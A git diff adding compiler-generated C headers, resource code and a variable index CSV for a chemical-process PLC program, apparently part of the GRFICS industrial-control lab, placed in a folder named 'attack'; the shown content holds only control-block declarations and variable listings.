__DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; 